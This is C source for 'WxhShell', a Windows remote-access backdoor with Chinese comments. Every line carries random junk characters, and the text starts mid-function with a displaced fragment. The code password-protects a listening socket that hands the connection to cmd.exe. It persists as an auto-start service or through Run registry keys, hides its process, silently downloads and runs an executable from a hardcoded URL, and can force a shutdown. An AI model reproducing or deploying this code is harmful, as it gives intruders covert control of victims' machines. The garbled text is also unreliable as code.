    if(Boot(SHUTDOWN)) ^+-QY\N j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d7BpmM  
    else { O-[YU%K3?  
    closesocket(wsh); F3V:B.C  
    ExitThread(0);  }c||$  
    } N5)H(<}  
    break; AAfhh5i  
    } gGE{r}$  
  // 获取shell W/A@qo"  
  case 's': { sT=|"H?  
    CmdShell(wsh); #}fvjJ{  
    closesocket(wsh); @|;[ ;:h@  
    ExitThread(0); +o3n%( ^~  
    break; {8mJ<b>VA  
  } }WJX Q@  
  // 退出 ;Mq'+4$  
  case 'x': { Fep@VkN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i|<wnJu  
    CloseIt(wsh); *CGHp8  
    break; gna!Q  
    } d_(;sW"I  
  // 离开 <zY#qFQ2  
  case 'q': { V|A.M-XLv4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t ^>07#z  
    closesocket(wsh); u gRyUny  
    WSACleanup(); Q~"Lyy8  
    exit(1); /Q W^v;^  
    break; SeZ+&d  
        } Ho}*Bn~ic  
  } /T qbl^[  
  } }^H(EHE  
5Bq;Vb  
  // 提示信息 d$ o m\@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !!A(A^s  
} iLQO .'{U  
  } dH0>lV  
)/f#~$ws  
  return; W|{!0w  
} f-^*p  
Uf_mwEE  
// shell模块句柄 7#"y mE  
int CmdShell(SOCKET sock) Z}zka<y6K6  
{ D]d! lMK/  
STARTUPINFO si; B^M L}$  
ZeroMemory(&si,sizeof(si)); R4)l4rnO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6`7`herE}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _ \+0e:Ae  
PROCESS_INFORMATION ProcessInfo; ?mV2|;  
char cmdline[]="cmd"; OWfB8*4@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Te!eM{_$T  
  return 0; n9 bp0#K  
} G~_eBy  
;[lLFI  
// 自身启动模式 G,6`:l  
int StartFromService(void) ej7N5~!,s  
{ 6}@T^?  
typedef struct UCmJQJc  
{ .FYRi_Zd  
  DWORD ExitStatus; h+d k2|a  
  DWORD PebBaseAddress; )y!gApNs"  
  DWORD AffinityMask; 3bLOT#t  
  DWORD BasePriority; e7iQG@i7  
  ULONG UniqueProcessId; 6t <[-  
  ULONG InheritedFromUniqueProcessId; X,M!Tp  
}   PROCESS_BASIC_INFORMATION; ~ D/Lo$K"  
4`5W] J]6  
PROCNTQSIP NtQueryInformationProcess; {>64-bU  
A$~H`W<yxB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i+Ne.h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q}'<[Wg  
@w%kOX  
  HANDLE             hProcess; \Rt>U|%  
  PROCESS_BASIC_INFORMATION pbi; f[`&3+  
~6u|@pnI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cWQ &zc  
  if(NULL == hInst ) return 0; ;eFV}DWW  
B\|^$z2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]LCL?zAzH!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $D^27q:H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _MQh<,Z8  
9l[C&0w#\  
  if (!NtQueryInformationProcess) return 0; d]_].D$  
nJgN2Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j$u  
  if(!hProcess) return 0; N>s3tGh  
\(?d2$0m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L`:V]p  
>)[W7h  
  CloseHandle(hProcess); 3<Z@!ft8  
0aGauG[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HWL? doM  
if(hProcess==NULL) return 0; 0|hOoO]?q&  
v-F|#4Q=ut  
HMODULE hMod; D!)h92CIDm  
char procName[255]; P$O@G$n  
unsigned long cbNeeded; : @gW3'  
e'v_eD T^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /lHs]) ,  
<g&GIFE,  
  CloseHandle(hProcess); 8SiWAOQAL  
5M>SrZH  
if(strstr(procName,"services")) return 1; // 以服务启动 oY\;KPz  
4dz Ym+vJm  
  return 0; // 注册表启动 (:+Wc^0  
} ! }eq~3  
qIy9{LF  
// 主模块 925T#%y  
int StartWxhshell(LPSTR lpCmdLine) O"[#g  
{ .(Z^}  
  SOCKET wsl; bL:+(/:  
BOOL val=TRUE; ldKLTO*&  
  int port=0; B(wi+;  
  struct sockaddr_in door; hR>`I0|p&  
]'#^ ~.  
  if(wscfg.ws_autoins) Install(); 2C_I3S ~U  
527u d^:  
port=atoi(lpCmdLine); 93.L887  
 OtZtl* 5  
if(port<=0) port=wscfg.ws_port; !cO<N~0*5x  
lP(<4mdP  
  WSADATA data; M;z )c|Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .D=#HEshk  
b3=XWzK5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v9D[| 4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e 7Sg-NWV  
  door.sin_family = AF_INET; 'F1<m^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hc0V4NHCaL  
  door.sin_port = htons(port); x;7p75Wm  
<Lle1=qQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @a]`C $ 6  
closesocket(wsl); "+&@iL  
return 1; _=qk.|p/  
} m}m|(;T  
{X\FS   
  if(listen(wsl,2) == INVALID_SOCKET) { |z)7XK  
closesocket(wsl); O4W 2X@  
return 1; XQ Si  
} X=k|SayE8  
  Wxhshell(wsl); X*r?@uK5  
  WSACleanup(); /5XdZu6k`h  
i8/"|+Z  
return 0; Je#3   
lb)i0`AN+  
} eA9r M:  
@^Kw\s  
// 以NT服务方式启动 QSo48OFs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [!#;QQ&M  
{ U,`F2yD/!  
DWORD   status = 0; BQ~\p\  
  DWORD   specificError = 0xfffffff; gqAN-b'  
`LWbL*;Y0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %C >Win)g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PiX(Ase  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |P"kJ45  
  serviceStatus.dwWin32ExitCode     = 0; AIwp2Fz  
  serviceStatus.dwServiceSpecificExitCode = 0; ({t6Cbw  
  serviceStatus.dwCheckPoint       = 0; ( 2KopL  
  serviceStatus.dwWaitHint       = 0; I\6^]pi,  
B{Lzgw u;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pmDFmES  
  if (hServiceStatusHandle==0) return; o PA m*  
}Do$oyAV$G  
status = GetLastError(); VC NQ}h[D  
  if (status!=NO_ERROR) 3_Re>i  
{ lHgmljn5u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L 3C'q  
    serviceStatus.dwCheckPoint       = 0; sGJZG  
    serviceStatus.dwWaitHint       = 0; M0MvOO*ad  
    serviceStatus.dwWin32ExitCode     = status; DM !B@  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y#Pg*C8>8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O/f+B}W  
    return; Ar$ Am  
  } OxVe}Fym  
>uz3 O?z P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X gA( D  
  serviceStatus.dwCheckPoint       = 0; K~\Ocl  
  serviceStatus.dwWaitHint       = 0; i"y @Aj!7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :AC(  \  
} j{NcDe pLn  
%y\  
// 处理NT服务事件,比如:启动、停止 gs=(h*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <~.1>CI9D3  
{ k Rp$[^ma  
switch(fdwControl) }$'T=ay&  
{ 6.QzT(  
case SERVICE_CONTROL_STOP: .u9,w  
  serviceStatus.dwWin32ExitCode = 0; 0qo :M3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D +9l$**a  
  serviceStatus.dwCheckPoint   = 0; *f+DV[DF  
  serviceStatus.dwWaitHint     = 0; <a%RKjQvT  
  { {cAGOxwd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8<X; 8R  
  } b,RQ" {  
  return; P?YcZAJT*  
case SERVICE_CONTROL_PAUSE: IaR D"oCH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nTPq|=C  
  break; ywbdV-t/  
case SERVICE_CONTROL_CONTINUE: 5+iXOs<   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _2S( *  
  break; ;XGO@*V5T  
case SERVICE_CONTROL_INTERROGATE: lyyR yFfQ  
  break; )Es|EPCx!  
}; sxU 0Fg   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XXPpj< c  
} V3> JZH`  
4#w Z#}  
// 标准应用程序主函数 T [2l32  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yK:b $S  
{ QetyuhS~  
%pImCpMR  
// 获取操作系统版本 6n$g73u<=3  
OsIsNt=GetOsVer(); Z {*<G x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?hnxc0 ~P  
:PDyc(s{  
  // 从命令行安装 E(Y}*.\]#s  
  if(strpbrk(lpCmdLine,"iI")) Install(); XlU`jv+  
W v!%'IB  
  // 下载执行文件 ]*vv=@"`e  
if(wscfg.ws_downexe) { 4xD`Z_U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :5BVVa0oR  
  WinExec(wscfg.ws_filenam,SW_HIDE); a}/ A]mu  
} 8{4jlL;"`?  
}:hN}*H  
if(!OsIsNt) { /}$D&KwYg  
// 如果时win9x,隐藏进程并且设置为注册表启动 7 y'2  
HideProc(); aqN6.t  
StartWxhshell(lpCmdLine); c R6:AGr  
} 1gDsL  
else AqucP@  
  if(StartFromService()) [$%O-_x  
  // 以服务方式启动  F'9#dR?  
  StartServiceCtrlDispatcher(DispatchTable); L~>~a1p!  
else @j=Q$k.GF  
  // 普通方式启动 jS| 9jg:  
  StartWxhshell(lpCmdLine); % *Lv  
k^*S3#"  
return 0; 3/ 0E9'  
} (od9adSehV  
4S3uzy%  
)V?:qCuY>  
N)^` 15w  
=========================================== {E$smX  
6k*,Yei  
Ni-@El99  
g.T:72"  
fu $<*Sa2  
<#F@OU  
" TnQ"c)ta  
|kh7F0';"  
#include <stdio.h> 0 pPSg9  
#include <string.h> :2(U3~3:  
#include <windows.h> 8zzY;3^h;  
#include <winsock2.h> `(o:;<&3  
#include <winsvc.h> -]k vM  
#include <urlmon.h> ;HoBLxb P  
.l$:0a  
#pragma comment (lib, "Ws2_32.lib") h0)Dj( C  
#pragma comment (lib, "urlmon.lib") k}FmdaPI'  
2c1L[]h'  
#define MAX_USER   100 // 最大客户端连接数 ~X!Z+Vg  
#define BUF_SOCK   200 // sock buffer Wg!JQRHtT  
#define KEY_BUFF   255 // 输入 buffer {Etvu  
yttaZhK^u  
#define REBOOT     0   // 重启 kBg8:bo~  
#define SHUTDOWN   1   // 关机 aGq1 YOD[$  
*Sp_s_tS  
#define DEF_PORT   5000 // 监听端口 kqQT^6S   
Gqs)E"h  
#define REG_LEN     16   // 注册表键长度 Tqj:C8K{  
#define SVC_LEN     80   // NT服务名长度 D,P{ ,/  
JK'FJ}Z4  
// 从dll定义API l~Rd\.O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yr/G1?k%ML  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S^T ><C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Dbl+izF3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pq$-s7#  
2rPmu  
// wxhshell配置信息 H<Ik.]m  
struct WSCFG { M)1Y7?r]  
  int ws_port;         // 监听端口 }WDzzjDR+  
  char ws_passstr[REG_LEN]; // 口令 k{ ~0BK  
  int ws_autoins;       // 安装标记, 1=yes 0=no TP{2q51yM  
  char ws_regname[REG_LEN]; // 注册表键名 B"?ivxM:U  
  char ws_svcname[REG_LEN]; // 服务名 #.j}:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T:I34E[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7]H<ou  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cB=ExD.Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b|oT!s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #gsJ tT9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cPy/}A  
"."ow|  
}; |wINb~trz  
qV7 9bK  
// default Wxhshell configuration y ~n1S~5cI  
struct WSCFG wscfg={DEF_PORT, xM)6'= x6  
    "xuhuanlingzhe", 1V.oR`&2E  
    1, ?"$Rw32  
    "Wxhshell", V@rqC[on  
    "Wxhshell", ->L>`<7(  
            "WxhShell Service", LR#BP}\b'  
    "Wrsky Windows CmdShell Service", %%FzBbWAO  
    "Please Input Your Password: ",  D9h  
  1, yQ0:M/r;0  
  "http://www.wrsky.com/wxhshell.exe",  G& m~W  
  "Wxhshell.exe" je8 5G`{DC  
    }; s>*xAIx  
<.".,Na(J0  
// 消息定义模块 i93 6+[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /]oQqZHv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e2^TQv2(=e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %'OY  
char *msg_ws_ext="\n\rExit."; _Wqy,L;J  
char *msg_ws_end="\n\rQuit."; ;2P  
char *msg_ws_boot="\n\rReboot..."; }`.d4mm  
char *msg_ws_poff="\n\rShutdown..."; &EmG\vfE  
char *msg_ws_down="\n\rSave to "; {B-*w%}HU  
IGNU_w4j  
char *msg_ws_err="\n\rErr!"; )$ M2+_c  
char *msg_ws_ok="\n\rOK!"; LhRd0  
Swr4De_5  
char ExeFile[MAX_PATH];  :g~_  
int nUser = 0; 3 3zE5vr  
HANDLE handles[MAX_USER]; h:RP/ 0E  
int OsIsNt; }i{A4f `  
TJCE6QG  
SERVICE_STATUS       serviceStatus; LUdXAi"f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !_P&SmK3  
;SIWWuk  
// 函数声明 eG7Yyz+t$  
int Install(void); Y>6N2&Q  
int Uninstall(void); )2a)$qx;  
int DownloadFile(char *sURL, SOCKET wsh); ]I_*+^?tI  
int Boot(int flag); aW-6$=W  
void HideProc(void); Wdi`Z E  
int GetOsVer(void); 0SDnMij&bf  
int Wxhshell(SOCKET wsl); dci<Rz`h  
void TalkWithClient(void *cs); u'nQC*iJb  
int CmdShell(SOCKET sock); $,P:B%]  
int StartFromService(void); J$5Vjh'aM  
int StartWxhshell(LPSTR lpCmdLine); =f!clhO  
YjH~8==  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >, [@SF%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q=}1ud}1  
Xv3pKf-K  
// 数据结构和表定义  TJ1h[  
SERVICE_TABLE_ENTRY DispatchTable[] = Wy%FF\D.Y  
{ 6$[7hlE  
{wscfg.ws_svcname, NTServiceMain}, U*b7 Pxq;  
{NULL, NULL} Z?xRSi2~7  
}; IVY)pS"pR"  
@{W"mc+  
// 自我安装 R0%M9;>1  
int Install(void) AmC?qoEWQ7  
{ zy5FO<->  
  char svExeFile[MAX_PATH]; n*Uk<_WA  
  HKEY key; .G#li(NWH  
  strcpy(svExeFile,ExeFile); hD=.rDvO  
|c^?tR<  
// 如果是win9x系统,修改注册表设为自启动 1je j7p>K  
if(!OsIsNt) { `nKN|6o#x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^=5x1<a9$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  +IO>%  
  RegCloseKey(key); H8B$# .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z:4_f:70  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { :1X N  
  RegCloseKey(key); 'ZB^=T  
  return 0; ()48>||  
    } q k 6  
  } 8CZ%-}-%$  
} k/D{&(F ~  
else { 5'c#pm\Q  
4Y$\QZO  
// 如果是NT以上系统,安装为系统服务 5C&*PJ~WA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4hODpIF  
if (schSCManager!=0) SiUu**zC  
{ yOt#6Vw  
  SC_HANDLE schService = CreateService 1[T7;i$  
  ( [q_+s  
  schSCManager, UKQ"sC  
  wscfg.ws_svcname, a6-.|tt#t  
  wscfg.ws_svcdisp, r0 )ne|&Hp  
  SERVICE_ALL_ACCESS, 1Dl6T\20  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "i\#L`TkzX  
  SERVICE_AUTO_START, A&bj l[s  
  SERVICE_ERROR_NORMAL, a]T&-#c,}  
  svExeFile, BjeD4  
  NULL, 0~z\ WSo  
  NULL, X fqhD&g  
  NULL, fP V n;  
  NULL, U3N9O.VC  
  NULL n{i,`oQ"  
  ); *67K_<bp]  
  if (schService!=0) fjVy;qJ32S  
  { #K6cBfqI  
  CloseServiceHandle(schService); 50j8+xJPV  
  CloseServiceHandle(schSCManager); yji[Yde;|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BqY_N8l&E  
  strcat(svExeFile,wscfg.ws_svcname); wV"`Du7E;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "J`&"_CyZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  +l/v`=C  
  RegCloseKey(key); {BT/P!  
  return 0; 0=#>w_B  
    } S.)Jp -&K  
  } }&t>j[  
  CloseServiceHandle(schSCManager); !7 dct#4  
} 18!y7 _cFT  
} ##*]2Dy  
G %6P`:  
return 1; hg(<>_~  
} a9z#l}IQ  
m^G(qoZ]  
// 自我卸载 P0jr>j@^-  
int Uninstall(void) yB2h/~+  
{ p.SipQ.P  
  HKEY key; :t]HY2  
Pp s-,*m  
if(!OsIsNt) { {@^;Nw%J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B+j]C$8}  
  RegDeleteValue(key,wscfg.ws_regname); <ZF|2  
  RegCloseKey(key); r~lZ8$KC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P}Kgh7)3  
  RegDeleteValue(key,wscfg.ws_regname); k(l2`I4V  
  RegCloseKey(key); O,%,dtD[a  
  return 0; w{6C4~0  
  } Wc[,kc  
} =d<RgwscJ  
} ^k;]"NR  
else { $+!dP{   
ba);f[>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2t-w0~O  
if (schSCManager!=0) ^,acU\}VqP  
{ NEIkG>\7q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >F7w]XH  
  if (schService!=0) >s f g`4  
  { >H!Mx_fDL  
  if(DeleteService(schService)!=0) { )rD!4"8/A  
  CloseServiceHandle(schService); x8PT+KC  
  CloseServiceHandle(schSCManager); N8b\OTk2  
  return 0; fI613ww]  
  } hTr5Q33y>  
  CloseServiceHandle(schService); 7{L4a\JzT  
  } T)rE#"_]{  
  CloseServiceHandle(schSCManager); L^3&  
} /i'078F  
} \=A A,Il  
'J|)4OG:  
return 1; .B# .   
} (Q^sK\  
0N.h:21(4  
// 从指定url下载文件 !hBpon  
int DownloadFile(char *sURL, SOCKET wsh) jO-?t9^  
{ @h%V:c  
  HRESULT hr; 4VWk/HK-!  
char seps[]= "/"; LH8jT  
char *token; RZm%4_p4s  
char *file;  uZS:  
char myURL[MAX_PATH]; CJBf5I3  
char myFILE[MAX_PATH]; -{cHp  
6Dlm. ~G  
strcpy(myURL,sURL); xzOa9w/  
  token=strtok(myURL,seps); =|S%Rzsk  
  while(token!=NULL) 3/kT'r  
  { }}JMwT  
    file=token; =?<WCR C*  
  token=strtok(NULL,seps);  `Vb  
  } ]:<! (  
h[ DNhR  
GetCurrentDirectory(MAX_PATH,myFILE); T{k P9 4  
strcat(myFILE, "\\"); cz>,sz~i  
strcat(myFILE, file); z-5`6aE9<  
  send(wsh,myFILE,strlen(myFILE),0); tnRf!A;m  
send(wsh,"...",3,0); oJz2-P mX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n|w+08c"  
  if(hr==S_OK) 1F^Q*t{  
return 0; 9-KhJq%  
else }}AIpYp,P  
return 1; ,c p2Fac  
FzT.9Vz7  
} U(#<D7}  
{ez $kz  
// 系统电源模块 `>gG"1,]  
int Boot(int flag)  wA"@t  
{ !Zz;;Z  
  HANDLE hToken; $MQ}+*Wr  
  TOKEN_PRIVILEGES tkp; cO~<iy  
Z!1D4`w  
  if(OsIsNt) { 9%/hoA)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  +$dJA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z%;p lMj  
    tkp.PrivilegeCount = 1; iC gZ3M]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :Ha/^cC/3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &L ;ocd$  
if(flag==REBOOT) { BU O5g8m{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2ym(fk.6{  
  return 0; ) 7/Cg  
} PsY![CPrW  
else { -8TJ:#|N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #~*v##^vFH  
  return 0; )h{&O ,s  
} )`\hK  
  } xY^sC56Z  
  else { 25Dl4<-Z  
if(flag==REBOOT) { ~M C|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k ut=( ;  
  return 0; ZZw`8 E  
} -Zt!H%U  
else { RZOK+!H:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WRh5v8Wz0  
  return 0; Jh26!%<Bl  
} Q]:O#;"<  
} g{8RPw]  
#2{-6ey  
return 1;  +\/Q  
} |VBt:dd<  
Yh":>~k?SY  
// win9x进程隐藏模块 3[YG BM(  
void HideProc(void) v, $r.g;  
{ O\5%IfB'"  
*LT~:Gs#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _5oTNL2  
  if ( hKernel != NULL ) F^i3e31*t  
  { Wv;0PhF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sZ.<:mu[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (m~>W"x/  
    FreeLibrary(hKernel); = tv70d'  
  } 4"d,=P.{  
7=G 2sOC  
return; S$6|K Y u  
} /x<g$!`X  
mxa~JAlN_  
// 获取操作系统版本 ]-=L7a  
int GetOsVer(void) |.<_$[v[x  
{ C"hN2Z!CD|  
  OSVERSIONINFO winfo; @KN+)qP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #lYyL`B+~  
  GetVersionEx(&winfo); 6EqA Y`y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q!Du J  
  return 1; A~zn;  
  else cG|fau<G  
  return 0; U( YAI%O  
} +&GV-z~o  
#NS|9jW  
// 客户端句柄模块 6x+ujUBkK  
int Wxhshell(SOCKET wsl) i_Kwxn$  
{ i2F7O"f.  
  SOCKET wsh; Ss3p6%V/  
  struct sockaddr_in client; ^QK`z@B  
  DWORD myID; twT/uBQ4a  
-'rdN i  
  while(nUser<MAX_USER) X+hHEkJ  
{ Z%t_1t  
  int nSize=sizeof(client); 6FUW^dt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YEL0h0gn  
  if(wsh==INVALID_SOCKET) return 1; }LHYcNw^z  
^&zCPUH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =|t-0'RsN  
if(handles[nUser]==0) UhxM85M;x  
  closesocket(wsh); MK&,2>m,A  
else u[>"_!T  
  nUser++; v88vr  
  } 87 Z[0>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #mxOwvJ  
!Sc"V.o @!  
  return 0; CSM"Kz`  
} AIF ?>wgq  
{ 3G  
// 关闭 socket bLqy7S9x  
void CloseIt(SOCKET wsh) agIqca;  
{ DUp`zW;B  
closesocket(wsh); wk(25(1q  
nUser--; 8-Abg:)  
ExitThread(0);  |/Nh#  
} 18&"j 8'm  
eYOY   
// 客户端请求句柄 z.vQ1~s  
void TalkWithClient(void *cs) C@(@n!o:!  
{ _`$Q6!Z)l  
?&B8:<qy;L  
  SOCKET wsh=(SOCKET)cs; 6'qkD<  
  char pwd[SVC_LEN]; ;pnF%co9  
  char cmd[KEY_BUFF]; 6$u/N gS  
char chr[1]; wu <0or2  
int i,j; i:lc]B  
0PzSp ]  
  while (nUser < MAX_USER) { qu=~\t1[6  
Jo?LPR \6  
if(wscfg.ws_passstr) { VB |?S|<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %hB-$nE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l.Q  
  //ZeroMemory(pwd,KEY_BUFF); 3efOgP=L  
      i=0; Cxf K(F  
  while(i<SVC_LEN) { ~7m`p3W@  
? <?Ogq"<  
  // 设置超时 XlppA3JON|  
  fd_set FdRead; g~lv/.CnA+  
  struct timeval TimeOut; "?"  :  
  FD_ZERO(&FdRead); -&+:7t  
  FD_SET(wsh,&FdRead); Cbbdq%ySI  
  TimeOut.tv_sec=8; ~i,d%a  
  TimeOut.tv_usec=0; &l(T},-X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7)?C+=,0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H2X_W Swm  
@0+\:F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P1#g{f  
  pwd=chr[0]; 5Xq+lLW>  
  if(chr[0]==0xd || chr[0]==0xa) { 2/-m-5A  
  pwd=0; corm'AJ/  
  break; OC! {8MR  
  } { FJMc O=  
  i++; l`v5e"V  
    } LjKxznn o  
U[ ]yN.J  
  // 如果是非法用户,关闭 socket x]^d'o:cDP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /s?%ft#-9o  
} 7@ym:6Y+]  
\!ZA#7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /b+~BvTh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "4b{YWv  
o&JoeKXor  
while(1) { ,!= sGUQ)  
5Tsz|k  
  ZeroMemory(cmd,KEY_BUFF); "x$@^  
,&[o:jTk  
      // 自动支持客户端 telnet标准   I4Do$&9<D  
  j=0; CD1Ma8I8  
  while(j<KEY_BUFF) { R|?n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B`SX3,3  
  cmd[j]=chr[0]; <spG]Xa<  
  if(chr[0]==0xa || chr[0]==0xd) { x[ A|@\Z  
  cmd[j]=0; 757&bH|a  
  break; l)r\SE1  
  } y-pdAkDh  
  j++; :zW? O#aL-  
    } Z$z-Hx@%  
{_7hX`p  
  // 下载文件 7F`\Gz_2  
  if(strstr(cmd,"http://")) { qlhc"}5x }  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fTxd8an{  
  if(DownloadFile(cmd,wsh)) FB k7Cn!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '4,?YcZ?S  
  else `zoHgn7B9q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E:` _P+2p  
  } aB%.]bi  
  else { T{prCM  
| BaEv\$K  
    switch(cmd[0]) { yY]x' 'K  
  &dB@n15'A  
  // 帮助 xM())Z|2  
